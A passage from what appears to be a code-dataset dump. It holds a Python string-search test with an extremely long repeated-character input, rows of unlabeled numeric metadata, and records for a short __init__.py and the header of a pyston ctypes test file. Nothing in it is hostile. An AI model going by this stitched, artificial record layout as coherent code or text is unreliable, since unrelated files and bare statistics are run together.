aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab" needle = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab" res = str_str(haystack, needle) print(res)

1,521.175

50,017

0.993278

112

60,847

539.508929

0.267857

0.000397

0.000695

0.000662

0.002847

0.002085

0.001357

0

0.000182

0.005045

60,847

39

50,018

1,560.179487

0.997919

0.001315

0

0.333333

0

0.987607

0.987476

0

1

0

1

0.074074

false

0

0.333333

0.037037

0

1

null

0

1

0

1

null

1

0

6

e5b2ae8390c9943c0ef0a7d822b1ecb19ca1591c

96

py

Python

topnum/search_methods/topic_bank/__init__.py

machine-intelligence-laboratory/OptimalNumberOfTopics

87267223987a4cb54b3f0ec431e87ee684044c7b

[ "MIT" ]

5

2020-05-06T14:13:54.000Z

2020-09-06T15:54:01.000Z

topnum/search_methods/topic_bank/__init__.py

machine-intelligence-laboratory/OptimalNumberOfTopics

87267223987a4cb54b3f0ec431e87ee684044c7b

[ "MIT" ]

54

2020-02-10T07:08:31.000Z

2020-09-08T21:45:39.000Z

topnum/search_methods/topic_bank/__init__.py

machine-intelligence-laboratory/OptimalNumberOfTopics

87267223987a4cb54b3f0ec431e87ee684044c7b

[ "MIT" ]

2

2021-01-16T08:40:25.000Z

2021-06-04T05:35:36.000Z

from .bank_update_method import BankUpdateMethod from .topic_bank_method import TopicBankMethod

32

48

0.895833

12

96

6.833333

0.666667

0.292683

0

0.083333

96

2

49

48

0.931818

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

e5da31f7a8c5416a5ce0fafdbc6f86e10f5a25b7

143

py

Python

test/tests/ctypes_test.py

jmgc/pyston

9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f

[ "BSD-2-Clause", "Apache-2.0" ]

1

2020-02-06T14:28:45.000Z

test/tests/ctypes_test.py

jmgc/pyston

9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f

[ "BSD-2-Clause", "Apache-2.0" ]

null

test/tests/ctypes_test.py

jmgc/pyston

